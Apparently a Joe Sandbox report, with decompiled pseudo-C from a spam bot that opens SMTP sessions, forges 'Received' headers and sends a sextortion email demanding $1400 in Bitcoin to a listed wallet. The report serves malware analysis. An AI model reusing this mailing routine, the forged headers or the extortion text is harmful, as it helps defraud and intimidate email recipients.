0x00ea1ea0
0x00ea1eb8
0x00ea1ebf
0x00ea1ec5
0x00ea1ec8
0x00ea1ece
0x00ea1edc
0x00ea1ee0
0x00ea1eea
0x00ea1ef8
0x00ea1f0b
0x00ea1f11
0x00ea1f14
0x00ea1f1a
0x00ea1f21
0x00ea1f2c
0x00ea1f36
0x00ea1f44
0x00ea1f4b
0x00ea1f66
0x00ea1f74
0x00ea1f7b
0x00ea1f81
0x00ea1f84
0x00ea1f8a
0x00ea1f98
0x00ea1f9c
0x00ea1fa6
0x00ea1fbb
0x00ea1fc9
0x00ea1fe2
0x00ea1fec
0x00ea2008
0x00ea2015
0x00ea2030
0x00ea2044
0x00ea2051
0x00ea2080
0x00ea208d
0x00ea20bc
0x00ea20c9
0x00ea20e1
0x00ea20e5
0x00ea20ef
0x00ea2104
0x00ea211f
0x00ea2133
0x00ea2140
0x00ea216f
0x00ea217c
0x00ea21ab
0x00ea21b8
0x00ea21d0
0x00ea21de
0x00ea21e9
0x00ea21e0
0x00ea21e0
0x00ea21e0
0x00ea20f1
0x00ea20f1
0x00ea20f1
0x00ea1fee
0x00ea1fee
0x00ea1fee
0x00ea1fcb
0x00ea1fcb
0x00ea1fcb
0x00ea1fa8
0x00ea1fa8
0x00ea1fa8
0x00ea1f38
0x00ea1f38
0x00ea1f38
0x00ea1eec
0x00ea1eec
0x00ea1eec
0x00ea1ea2
0x00ea1ea2
0x00ea1ea2
0x00ea1e59
0x00ea1e59
0x00ea1e59
0x00ea1e10
0x00ea1e10
0x00ea1e10
0x00ea1da0
0x00ea1da0
0x00ea1da0
0x00000000
0x00000000
0x00ea21f9
0x00ea21fd
0x00ea2205
0x00000000
0x00000000
0x00ea1af1
0x00000000
0x00ea1af1
0x00ea1acb
0x00000000
0x00ea1acb
0x00ea1ac9
0x00ea221a
0x00000000
0x00ea221a
0x00ea1a62

APIs

Part of subcall function 00EA2260: strchr.MSVCR90 ref: 00EA226B

Part of subcall function 00EA10A0: DnsQuery_A.DNSAPI(00000000,0000000F,00000000,00000000,00000000,00000000), ref: 00EA10C4
Part of subcall function 00EA10A0: htons.WS2_32(00000019), ref: 00EA10F5
Part of subcall function 00EA10A0: DnsFree.DNSAPI(00000000,00000001), ref: 00EA110F

socket.WS2_32(00000002,00000001,00000006), ref: 00EA1A32
connect.WS2_32(000000FF,?,00000010), ref: 00EA1A59
setsockopt.WS2_32(000000FF,00000006,00000001,00000001,00000004), ref: 00EA1A83
shutdown.WS2_32(000000FF,00000002), ref: 00EA2223
closesocket.WS2_32(000000FF), ref: 00EA222D

Memory Dump Source

Source File: 00000009.00000002.892724043.0000000000EA1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000009.00000002.892708963.0000000000EA0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.892732980.0000000000EA4000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.892759245.0000000000EA6000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.892764370.0000000000EA7000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ea0000_1925824589.jbxd

Similarity

API ID: FreeQuery_closesocketconnecthtonssetsockoptshutdownsocketstrchr
String ID:
API String ID: 3655475579-0
Opcode ID: 462d5be174de2741238a1849446ef0cb6799e8082d113bf4f903ef4ffae91acf
Instruction ID: 93731c1210d945ef9f8f9d5aa4404a8b3cb4cde8656a74e5416cce4f51d74ee1
Opcode Fuzzy Hash: 462d5be174de2741238a1849446ef0cb6799e8082d113bf4f903ef4ffae91acf
Instruction Fuzzy Hash: 4C415EB5D00218DFDB24CBA8DC49BEDB7B4BB59304F005198E6197B2D0E7746A85CF61

Uniqueness

Uniqueness Score: -1.00%

Function 00EA1C27 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 53
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 91%

			E00EA1C27(void* __eflags) {
				void* _t167;
				intOrPtr _t171;
				void* _t172;
				void* _t197;
				void* _t199;
				void* _t201;
				void* _t203;

				L0:
				while(1) {
					L0:
					 *((intOrPtr*)(_t197 - 0x49c)) = wsprintfA(_t197 - 0x490, "RCPT TO: <%s>\r\n",  *((intOrPtr*)(_t197 + 8)));
					_t167 = E00EA1120( *((intOrPtr*)(_t197 - 0x1c)), _t197 - 0x490,  *((intOrPtr*)(_t197 - 0x49c))); // executed
					_t201 = _t199 + 0x18;
					if(_t167 != 0) {
						 *(_t197 - 0x20) = 5;
					} else {
						 *(__ebp - 0x20) = 0;
					}
					L48:
					while( *(_t197 - 0x20) != 0 &&  *(_t197 - 0x20) != 8) {
						_t171 = E00EA1160( *((intOrPtr*)(_t197 - 0x1c)), _t197 - 0x490, 0x400); // executed
						_t203 = _t201 + 0xc;
						 *((intOrPtr*)(_t197 - 0x90)) = _t171;
						if( *((intOrPtr*)(_t197 - 0x90)) != 0) {
							L5:
							 *((char*)(_t197 +  *((intOrPtr*)(_t197 - 0x90)) - 0x490)) = 0;
							_t172 = E00EA11C0(_t197 - 0x490);
							_t201 = _t203 + 4;
							if(_t172 != 0) {
								L7:
								 *(_t197 - 0x718) =  *(_t197 - 0x20);
								 *(_t197 - 0x718) =  *(_t197 - 0x718) - 1;
								if( *(_t197 - 0x718) > 6) {
									continue;
								}
								L8:
								switch( *((intOrPtr*)( *(_t197 - 0x718) * 4 +  &M00EA223C))) {
									case 0:
										L9:
										_push("ESMTP");
										if(StrStrA(_t197 - 0x490) == 0) {
											_t176 = wsprintfA(_t197 - 0x490, "HELO %s\r\n", "[102.129.143.99]");
											_t204 = _t201 + 0xc;
											 *(_t197 - 0x494) = _t176;
										} else {
											_t179 = wsprintfA(_t197 - 0x490, "EHLO %s\r\n", "[102.129.143.99]");
											_t204 = _t201 + 0xc;
											 *(_t197 - 0x494) = _t179;
										}
										_t178 = E00EA1120( *((intOrPtr*)(_t197 - 0x1c)), _t197 - 0x490,  *(_t197 - 0x494)); // executed
										_t201 = _t204 + 0xc;
										if(_t178 != 0) {
											 *(_t197 - 0x20) = 3;
										} else {
											 *(_t197 - 0x20) = 0;
										}
										goto L48;
									case 1:
										goto L48;
									case 2:
										L16:
										__eax =  *(__ebp + 8);
										__ecx = __ebp - 0x88;
										__eax = wsprintfA(__ebp - 0x88, "<%s>",  *(__ebp + 8));
										__esp = __esp + 0xc;
										__eax = __ebp - 0x490;
										__eax = wsprintfA(__ebp - 0x490, "MAIL FROM: %s\r\n", __ebp - 0x88);
										__esp = __esp + 0xc;
										 *(__ebp - 0x498) = __eax;
										__ecx =  *(__ebp - 0x498);
										__eax =  *(__ebp - 0x1c);
										__eax = E00EA1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x498)); // executed
										if(__eax != 0) {
											 *(__ebp - 0x20) = 4;
										} else {
											 *(__ebp - 0x20) = 0;
										}
										goto L48;
									case 3:
										goto L0;
									case 4:
										L21:
										__eax =  *(__ebp - 0x1c);
										__eax = E00EA1120( *(__ebp - 0x1c), "DATA\r\n", 0xffffffff); // executed
										if(__eax != 0) {
											 *(__ebp - 0x20) = 6;
										} else {
											 *(__ebp - 0x20) = 0;
										}
										goto L48;
									case 5:
										L24:
										__ecx = __ebp - 0x61c;
										E00EA1320(__ebp - 0x61c, 5, __ebp - 0x61c) = wsprintfA(__ebp - 0x508, "%s.com", __eax);
										__esp = __esp + 0xc;
										__ebp - 0x710 = E00EA1490(0, __ebp - 0x710, 1); // executed
										Sleep(0x7d0); // executed
										__ecx = __ebp - 0x690;
										__eax = E00EA1490(0, __ebp - 0x690, 0); // executed
										__eax = __ebp - 0x508;
										__eax = rand();
										asm("cdq");
										__ecx = 0xfe;
										_t57 = __eax % 0xfe;
										__eax = __eax / 0xfe;
										__eax = rand();
										asm("cdq");
										__ecx = 0xfe;
										_t61 = __eax % 0xfe;
										__eax = __eax / 0xfe;
										__eax = rand();
										asm("cdq");
										__ecx = 0xfe;
										_t65 = __eax % 0xfe;
										__eax = __eax / 0xfe;
										__eax = rand();
										asm("cdq");
										__ecx = 0xd2;
										_t69 = __eax % 0xd2;
										E00EA1390(0xd2, 7, __ebp - 0x6a8) = __ebp - 0x490;
										__eax = wsprintfA(__ebp - 0x490, "Received: from %s ([%d.%d.%d.%d]) by %s with MailEnable ESMTP; %s\r\n", __ebp - 0x490, _t69 + 1, _t65 + 1, _t61 + 1, _t57 + 1, __ebp - 0x508, __ebp - 0x690);
										__esp = __esp + 0x24;
										 *(__ebp - 0x714) = __eax;
										__ecx =  *(__ebp - 0x714);
										__eax =  *(__ebp - 0x1c);
										__eax = E00EA1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)); // executed
										if(__eax != 0) {
											__ecx = __ebp - 0x710;
											E00EA1320(__ecx, 3, __ebp - 0x628) = __ebp - 0x69c;
											__eax = E00EA1320(__ecx, 5, __ebp - 0x69c);
											__ecx = __ebp - 0x490;
											__eax = wsprintfA(__ebp - 0x490, "Received: (qmail %s invoked by uid %s); %s\r\n", __eax, __eax, __ebp - 0x490);
											__esp = __esp + 0x14;
											 *(__ebp - 0x714) = __eax;
											__eax = __ebp - 0x490;
											__ecx =  *(__ebp - 0x1c);
											__eax = E00EA1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)); // executed
											if(__eax != 0) {
												__eax = __ebp - 0x490;
												__eax = wsprintfA(__ebp - 0x490, "From: %s\r\n",  *(__ebp + 8));
												__esp = __esp + 0xc;
												 *(__ebp - 0x714) = __eax;
												__ecx =  *(__ebp - 0x714);
												__eax =  *(__ebp - 0x1c);
												__eax = E00EA1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)); // executed
												if(__eax != 0) {
													__ecx =  *(__ebp + 8);
													__eax = wsprintfA(__ebp - 0x490, "To: %s\r\n",  *(__ebp + 8));
													__esp = __esp + 0xc;
													 *(__ebp - 0x714) = __eax;
													__eax =  *(__ebp - 0x714);
													__ecx = __ebp - 0x490;
													if(E00EA1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)) != 0) {
														__eax = __ebp - 0x490;
														__eax = wsprintfA(__ebp - 0x490, "Subject: %s\r\n", "I RECORDED YOU!");
														__esp = __esp + 0xc;
														 *(__ebp - 0x714) = __eax;
														__ecx =  *(__ebp - 0x714);
														__eax =  *(__ebp - 0x1c);
														__eax = E00EA1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)); // executed
														if(__eax != 0) {
															__ecx = __ebp - 0x690;
															__eax = wsprintfA(__ebp - 0x490, "Date: %s\r\n", __ebp - 0x690);
															__esp = __esp + 0xc;
															 *(__ebp - 0x714) = __eax;
															__eax =  *(__ebp - 0x714);
															__ecx = __ebp - 0x490;
															__eax = E00EA1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)); // executed
															if(__eax != 0) {
																__eax = __ebp - 0x508;
																__ecx = __ebp - 0x628;
																E00EA1320(__ecx, 6, __ecx) = E00EA1320(__ecx, 6, __ebp - 0x69c);
																__eax = __ebp - 0x490;
																__eax = wsprintfA(__ebp - 0x490, "Message-ID: <%s.%s@%s>\r\n", __ebp - 0x490, __ebp - 0x490, __ebp - 0x508);
																__esp = __esp + 0x14;
																 *(__ebp - 0x714) = __eax;
																__ecx =  *(__ebp - 0x714);
																__eax =  *(__ebp - 0x1c);
																__eax = E00EA1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)); // executed
																if(__eax != 0) {
																	__ecx =  *(__ebp - 0x1c);
																	if(E00EA1120( *(__ebp - 0x1c), "Mime-Version: 1.0\r\n", 0xffffffff) != 0) {
																		__eax = E00EA1120( *(__ebp - 0x1c), "Content-type: text/plain;\r\n\r\n", 0xffffffff); // executed
																		if(__eax != 0) {
																			__ebp - 0x610 = memset(__ebp - 0x610, 0, 0x104);
																			__ecx = __ebp - 0x610;
																			strcpy(__ebp - 0x610, "Hello there!\r\n\r\n") = strcat(__ebp - 0x610, "Unfortunately, there are some bad news for you.\r\n\r\n");
																			__ebp - 0x610 = strcat(__ebp - 0x610, "Some time ago your device was infected with my private trojan, R.A.T (Remote Administration Tool), if you want to find out more about it simply use Google.\r\n\r\n");
																			__ecx = __ebp - 0x610;
																			__ebp - 0x610 = strcat(__ebp - 0x610, "You truly enjoy checking out porn websites and watching dirty videos, while having a lot of kinky fun.\r\n\r\n");
																			__ecx = __ebp - 0x610;
																			__ebp - 0x610 = strcat(__ebp - 0x610, "All you need is $1400 USD in Bitcoin (BTC) transfer to my account (Bitcoin equivalent based on exchange rate during your transfer).\r\n\r\n");
																			__ecx = __ebp - 0x610;
																			strcat(__ebp - 0x610, "After the transaction is successful, I will proceed to delete everything without delay.\r\n\r\n") =  *(__ebp - 0x1c);
																			__eax = E00EA1120( *(__ebp - 0x1c), __ebp - 0x610, 0xffffffff); // executed
																			if(__eax != 0) {
																				__ecx = __ebp - 0x610;
																				memset(__ebp - 0x610, 0, 0x104) = strcpy(__ebp - 0x610, "Afterwards, we can pretend that we have never met before.\r\n\r\n");
																				__ebp - 0x610 = strcat(__ebp - 0x610, "In addition, I assure you that all the harmful software will be deleted from your device.\r\n\r\n");
																				__ecx = __ebp - 0x610;
																				__ebp - 0x610 = strcat(__ebp - 0x610, "My Bitcoin (BTC) address is: 1EJJoUCykyZT3FtxRGSpuUsiBxCiHQ4wqX\r\n\r\n");
																				__ecx = __ebp - 0x610;
																				__ebp - 0x610 = strcat(__ebp - 0x610, "Everything will be carried out based on fairness!\r\n\r\n");
																				__ecx = __ebp - 0x610;
																				strcat(__ebp - 0x610, "An advice from me - regularly change all your passwords to your accounts and update your device with newest security patches.\r\n.\r\n") =  *(__ebp - 0x1c);
																				if(E00EA1120( *(__ebp - 0x1c), __ebp - 0x610, 0xffffffff) != 0) {
																					 *(__ebp - 0x20) = 7;
																				} else {
																					 *(__ebp - 0x20) = 0;
																				}
																			} else {
																				 *(__ebp - 0x20) = 0;
																			}
																		} else {
																			 *(__ebp - 0x20) = 0;
																		}
																	} else {
																		 *(__ebp - 0x20) = 0;
																	}
																} else {
																	 *(__ebp - 0x20) = 0;
																}
															} else {
																 *(__ebp - 0x20) = 0;
															}
														} else {
															 *(__ebp - 0x20) = 0;
														}
													} else {
														 *(__ebp - 0x20) = 0;
													}
												} else {
													 *(__ebp - 0x20) = 0;
												}
											} else {
												 *(__ebp - 0x20) = 0;
											}
										} else {
											 *(__ebp - 0x20) = 0;
										}
										goto L48;
									case 6:
										L47:
										__ecx =  *(__ebp - 0x1c);
										__eax = E00EA1120( *(__ebp - 0x1c), "QUIT", 0xffffffff); // executed
										 *(__ebp - 0x20) = 8;
										goto L48;
								}
							} else {
								break;
							}
						} else {
							break;
						}
					}
					L49:
					 *(_t197 - 8) = 0 |  *(_t197 - 0x20) == 0x00000008;
					__imp__#22( *((intOrPtr*)(_t197 - 0x1c)), 2); // executed
					__imp__#3( *((intOrPtr*)(_t197 - 0x1c)));
					return  *(_t197 - 8);
				}
			}

0x00ea1c27
0x00ea1c27
0x00ea1c27
0x00ea1c40
0x00ea1c58
0x00ea1c5d
0x00ea1c62
0x00ea1c70
0x00ea1c64
0x00ea1c64
0x00ea1c64
0x00000000
0x00ea220c
0x00ea1ab4
0x00ea1ab9
0x00ea1abc
0x00ea1ac9
0x00ea1ad0
0x00ea1ad6
0x00ea1ae5
0x00ea1aea
0x00ea1aef
0x00ea1af6
0x00ea1af9
0x00ea1b08
0x00ea1b15
0x00000000
0x00000000
0x00ea1b1b
0x00ea1b21
0x00000000
0x00ea1b28
0x00ea1b28
0x00ea1b3c
0x00ea1b71
0x00ea1b77
0x00ea1b7a
0x00ea1b3e
0x00ea1b4f
0x00ea1b55
0x00ea1b58
0x00ea1b58
0x00ea1b92
0x00ea1b97
0x00ea1b9c
0x00ea1baa
0x00ea1b9e
0x00ea1b9e
0x00ea1b9e
0x00000000
0x00000000
0x00000000
0x00000000
0x00ea1bb6
0x00ea1bb6
0x00ea1bbf
0x00ea1bc6
0x00ea1bcc
0x00ea1bdb
0x00ea1be2
0x00ea1be8
0x00ea1beb
0x00ea1bf1
0x00ea1bff
0x00ea1c03
0x00ea1c0d
0x00ea1c1b
0x00ea1c0f
0x00ea1c0f
0x00ea1c0f
0x00000000
0x00000000
0x00000000
0x00000000
0x00ea1c7c
0x00ea1c83
0x00ea1c87
0x00ea1c91
0x00ea1c9f
0x00ea1c93
0x00ea1c93
0x00ea1c93
0x00000000
0x00000000
0x00ea1cab
0x00ea1cab
0x00ea1cc9
0x00ea1ccf
0x00ea1cdd
0x00ea1cea
0x00ea1cf2
0x00ea1cfb
0x00ea1d0a
0x00ea1d11
0x00ea1d16
0x00ea1d17
0x00ea1d1c
0x00ea1d1c
0x00ea1d22
0x00ea1d27
0x00ea1d28
0x00ea1d2d
0x00ea1d2d
0x00ea1d33
0x00ea1d38
0x00ea1d39
0x00ea1d3e
0x00ea1d3e
0x00ea1d44
0x00ea1d49
0x00ea1d4a
0x00ea1d4f
0x00ea1d6c
0x00ea1d73
0x00ea1d79
0x00ea1d7c
0x00ea1d82
0x00ea1d90
0x00ea1d94
0x00ea1d9e
0x00ea1dac
0x00ea1dc5
0x00ea1dce
0x00ea1ddc
0x00ea1de3
0x00ea1de9
0x00ea1dec
0x00ea1df9
0x00ea1e00
0x00ea1e04
0x00ea1e0e
0x00ea1e25
0x00ea1e2c
0x00ea1e32
0x00ea1e35
0x00ea1e3b
0x00ea1e49
0x00ea1e4d
0x00ea1e57
0x00ea1e65
0x00ea1e75
0x00ea1e7b
0x00ea1e7e
0x00ea1e84
0x00ea1e8b
0x00ea1ea0
0x00ea1eb8
0x00ea1ebf
0x00ea1ec5
0x00ea1ec8
0x00ea1ece
0x00ea1edc
0x00ea1ee0
0x00ea1eea
0x00ea1ef8
0x00ea1f0b
0x00ea1f11
0x00ea1f14
0x00ea1f1a
0x00ea1f21
0x00ea1f2c
0x00ea1f36
0x00ea1f44
0x00ea1f4b
0x00ea1f66
0x00ea1f74
0x00ea1f7b
0x00ea1f81
0x00ea1f84
0x00ea1f8a
0x00ea1f98
0x00ea1f9c
0x00ea1fa6
0x00ea1fbb
0x00ea1fc9
0x00ea1fe2
0x00ea1fec
0x00ea2008
0x00ea2015
0x00ea2030
0x00ea2044
0x00ea2051
0x00ea2080
0x00ea208d
0x00ea20bc
0x00ea20c9
0x00ea20e1
0x00ea20e5
0x00ea20ef
0x00ea2104
0x00ea211f
0x00ea2133
0x00ea2140
0x00ea216f
0x00ea217c
0x00ea21ab
0x00ea21b8
0x00ea21d0
0x00ea21de
0x00ea21e9
0x00ea21e0
0x00ea21e0
0x00ea21e0
0x00ea20f1
0x00ea20f1
0x00ea20f1
0x00ea1fee
0x00ea1fee
0x00ea1fee
0x00ea1fcb
0x00ea1fcb
0x00ea1fcb
0x00ea1fa8
0x00ea1fa8
0x00ea1fa8
0x00ea1f38
0x00ea1f38
0x00ea1f38
0x00ea1eec
0x00ea1eec
0x00ea1eec
0x00ea1ea2
0x00ea1ea2
0x00ea1ea2
0x00ea1e59
0x00ea1e59
0x00ea1e59
0x00ea1e10
0x00ea1e10
0x00ea1e10
0x00ea1da0
0x00ea1da0
0x00ea1da0
0x00000000
0x00000000
0x00ea21f2
0x00ea21f9
0x00ea21fd
0x00ea2205
0x00000000
0x00000000
0x00ea1af1
0x00000000
0x00ea1af1
0x00ea1acb
0x00000000
0x00ea1acb
0x00ea1ac9
0x00ea2211
0x00ea221a
0x00ea2223
0x00ea222d
0x00ea2239
0x00ea2239

APIs

wsprintfA.USER32 ref: 00EA1C37

Part of subcall function 00EA1120: lstrlenA.KERNEL32(?), ref: 00EA112D
Part of subcall function 00EA1120: send.WS2_32(?,?,000000FF,00000000), ref: 00EA1144

shutdown.WS2_32(000000FF,00000002), ref: 00EA2223
closesocket.WS2_32(000000FF), ref: 00EA222D

Strings

RCPT TO: <%s>, xrefs: 00EA1C2B

Memory Dump Source

Source File: 00000009.00000002.892724043.0000000000EA1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000009.00000002.892708963.0000000000EA0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.892732980.0000000000EA4000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.892759245.0000000000EA6000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.892764370.0000000000EA7000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ea0000_1925824589.jbxd

Similarity

API ID: closesocketlstrlensendshutdownwsprintf
String ID: RCPT TO: <%s>
API String ID: 1492768164-1854338671
Opcode ID: c72dbfac24d8a889cc28cda5dfb933e6edc3237485f1cd0cdcecc41d4ab57aa7
Instruction ID: 398d08de841cf22558d62e500633e141d0c14e2f1beaf3318078ac99d80b23b3
Opcode Fuzzy Hash: c72dbfac24d8a889cc28cda5dfb933e6edc3237485f1cd0cdcecc41d4ab57aa7
Instruction Fuzzy Hash: 67113DB5D00218DFCF10CBA4DC45BEEB7B4BB9D348F0051A9E6097A150E7786994CF64

Uniqueness

Uniqueness Score: -1.00%

Function 00EA1C7C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 92%

			E00EA1C7C(void* __eflags) {
				void* _t166;
				intOrPtr _t170;
				void* _t171;
				void* _t192;
				void* _t194;
				void* _t195;
				void* _t197;

				L0:
				while(1) {
					L0:
					_t166 = E00EA1120( *((intOrPtr*)(_t192 - 0x1c)), "DATA\r\n", 0xffffffff); // executed
					_t195 = _t194 + 0xc;
					if(_t166 != 0) {
						 *(_t192 - 0x20) = 6;
					} else {
						 *(__ebp - 0x20) = 0;
					}
					L48:
					while( *(_t192 - 0x20) != 0 &&  *(_t192 - 0x20) != 8) {
						_t170 = E00EA1160( *((intOrPtr*)(_t192 - 0x1c)), _t192 - 0x490, 0x400); // executed
						_t197 = _t195 + 0xc;
						 *((intOrPtr*)(_t192 - 0x90)) = _t170;
						if( *((intOrPtr*)(_t192 - 0x90)) != 0) {
							L5:
							 *((char*)(_t192 +  *((intOrPtr*)(_t192 - 0x90)) - 0x490)) = 0;
							_t171 = E00EA11C0(_t192 - 0x490);
							_t195 = _t197 + 4;
							if(_t171 != 0) {
								L7:
								 *(_t192 - 0x718) =  *(_t192 - 0x20);
								 *(_t192 - 0x718) =  *(_t192 - 0x718) - 1;
								if( *(_t192 - 0x718) > 6) {
									continue;
								}
								L8:
								switch( *((intOrPtr*)( *(_t192 - 0x718) * 4 +  &M00EA223C))) {
									case 0:
										L9:
										_push("ESMTP");
										if(StrStrA(_t192 - 0x490) == 0) {
											_t175 = wsprintfA(_t192 - 0x490, "HELO %s\r\n", "[102.129.143.99]");
											_t198 = _t195 + 0xc;
											 *(_t192 - 0x494) = _t175;
										} else {
											_t178 = wsprintfA(_t192 - 0x490, "EHLO %s\r\n", "[102.129.143.99]");
											_t198 = _t195 + 0xc;
											 *(_t192 - 0x494) = _t178;
										}
										_t177 = E00EA1120( *((intOrPtr*)(_t192 - 0x1c)), _t192 - 0x490,  *(_t192 - 0x494)); // executed
										_t195 = _t198 + 0xc;
										if(_t177 != 0) {
											 *(_t192 - 0x20) = 3;
										} else {
											 *(_t192 - 0x20) = 0;
										}
										goto L48;
									case 1:
										goto L48;
									case 2:
										L16:
										__eax =  *(__ebp + 8);
										__ecx = __ebp - 0x88;
										__eax = wsprintfA(__ebp - 0x88, "<%s>",  *(__ebp + 8));
										__esp = __esp + 0xc;
										__eax = __ebp - 0x490;
										__eax = wsprintfA(__ebp - 0x490, "MAIL FROM: %s\r\n", __ebp - 0x88);
										__esp = __esp + 0xc;
										 *(__ebp - 0x498) = __eax;
										__ecx =  *(__ebp - 0x498);
										__eax =  *(__ebp - 0x1c);
										__eax = E00EA1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x498)); // executed
										if(__eax != 0) {
											 *(__ebp - 0x20) = 4;
										} else {
											 *(__ebp - 0x20) = 0;
										}
										goto L48;
									case 3:
										L19:
										__ecx =  *(__ebp + 8);
										__eax = wsprintfA(__ebp - 0x490, "RCPT TO: <%s>\r\n",  *(__ebp + 8));
										__esp = __esp + 0xc;
										 *(__ebp - 0x49c) = __eax;
										__eax =  *(__ebp - 0x49c);
										__ecx = __ebp - 0x490;
										__eax = E00EA1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x49c)); // executed
										if(__eax != 0) {
											 *(__ebp - 0x20) = 5;
										} else {
											 *(__ebp - 0x20) = 0;
										}
										goto L48;
									case 4:
										goto L0;
									case 5:
										L24:
										__ecx = __ebp - 0x61c;
										E00EA1320(__ebp - 0x61c, 5, __ebp - 0x61c) = wsprintfA(__ebp - 0x508, "%s.com", __eax);
										__esp = __esp + 0xc;
										__ebp - 0x710 = E00EA1490(0, __ebp - 0x710, 1); // executed
										Sleep(0x7d0); // executed
										__ecx = __ebp - 0x690;
										__eax = E00EA1490(0, __ebp - 0x690, 0); // executed
										__eax = __ebp - 0x508;
										__eax = rand();
										asm("cdq");
										__ecx = 0xfe;
										_t57 = __eax % 0xfe;
										__eax = __eax / 0xfe;
										__eax = rand();
										asm("cdq");
										__ecx = 0xfe;
										_t61 = __eax % 0xfe;
										__eax = __eax / 0xfe;
										__eax = rand();
										asm("cdq");
										__ecx = 0xfe;
										_t65 = __eax % 0xfe;
										__eax = __eax / 0xfe;
										__eax = rand();
										asm("cdq");
										__ecx = 0xd2;
										_t69 = __eax % 0xd2;
										E00EA1390(0xd2, 7, __ebp - 0x6a8) = __ebp - 0x490;
										__eax = wsprintfA(__ebp - 0x490, "Received: from %s ([%d.%d.%d.%d]) by %s with MailEnable ESMTP; %s\r\n", __ebp - 0x490, _t69 + 1, _t65 + 1, _t61 + 1, _t57 + 1, __ebp - 0x508, __ebp - 0x690);
										__esp = __esp + 0x24;
										 *(__ebp - 0x714) = __eax;
										__ecx =  *(__ebp - 0x714);
										__eax =  *(__ebp - 0x1c);
										__eax = E00EA1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)); // executed
										if(__eax != 0) {
											__ecx = __ebp - 0x710;
											E00EA1320(__ecx, 3, __ebp - 0x628) = __ebp - 0x69c;
											__eax = E00EA1320(__ecx, 5, __ebp - 0x69c);
											__ecx = __ebp - 0x490;
											__eax = wsprintfA(__ebp - 0x490, "Received: (qmail %s invoked by uid %s); %s\r\n", __eax, __eax, __ebp - 0x490);
											__esp = __esp + 0x14;
											 *(__ebp - 0x714) = __eax;
											__eax = __ebp - 0x490;
											__ecx =  *(__ebp - 0x1c);
											__eax = E00EA1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)); // executed
											if(__eax != 0) {
												__eax = __ebp - 0x490;
												__eax = wsprintfA(__ebp - 0x490, "From: %s\r\n",  *(__ebp + 8));
												__esp = __esp + 0xc;
												 *(__ebp - 0x714) = __eax;
												__ecx =  *(__ebp - 0x714);
												__eax =  *(__ebp - 0x1c);
												__eax = E00EA1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)); // executed
												if(__eax != 0) {
													__ecx =  *(__ebp + 8);
													__eax = wsprintfA(__ebp - 0x490, "To: %s\r\n",  *(__ebp + 8));
													__esp = __esp + 0xc;
													 *(__ebp - 0x714) = __eax;
													__eax =  *(__ebp - 0x714);
													__ecx = __ebp - 0x490;
													if(E00EA1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)) != 0) {
														__eax = __ebp - 0x490;
														__eax = wsprintfA(__ebp - 0x490, "Subject: %s\r\n", "I RECORDED YOU!");
														__esp = __esp + 0xc;
														 *(__ebp - 0x714) = __eax;
														__ecx =  *(__ebp - 0x714);
														__eax =  *(__ebp - 0x1c);
														__eax = E00EA1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)); // executed
														if(__eax != 0) {
															__ecx = __ebp - 0x690;
															__eax = wsprintfA(__ebp - 0x490, "Date: %s\r\n", __ebp - 0x690);
															__esp = __esp + 0xc;
															 *(__ebp - 0x714) = __eax;
															__eax =  *(__ebp - 0x714);
															__ecx = __ebp - 0x490;
															__eax = E00EA1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)); // executed
															if(__eax != 0) {
																__eax = __ebp - 0x508;
																__ecx = __ebp - 0x628;
																E00EA1320(__ecx, 6, __ecx) = E00EA1320(__ecx, 6, __ebp - 0x69c);
																__eax = __ebp - 0x490;
																__eax = wsprintfA(__ebp - 0x490, "Message-ID: <%s.%s@%s>\r\n", __ebp - 0x490, __ebp - 0x490, __ebp - 0x508);
																__esp = __esp + 0x14;
																 *(__ebp - 0x714) = __eax;
																__ecx =  *(__ebp - 0x714);
																__eax =  *(__ebp - 0x1c);
																__eax = E00EA1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)); // executed
																if(__eax != 0) {
																	__ecx =  *(__ebp - 0x1c);
																	if(E00EA1120( *(__ebp - 0x1c), "Mime-Version: 1.0\r\n", 0xffffffff) != 0) {
																		__eax = E00EA1120( *(__ebp - 0x1c), "Content-type: text/plain;\r\n\r\n", 0xffffffff); // executed
																		if(__eax != 0) {
																			__ebp - 0x610 = memset(__ebp - 0x610, 0, 0x104);
																			__ecx = __ebp - 0x610;
																			strcpy(__ebp - 0x610, "Hello there!\r\n\r\n") = strcat(__ebp - 0x610, "Unfortunately, there are some bad news for you.\r\n\r\n");
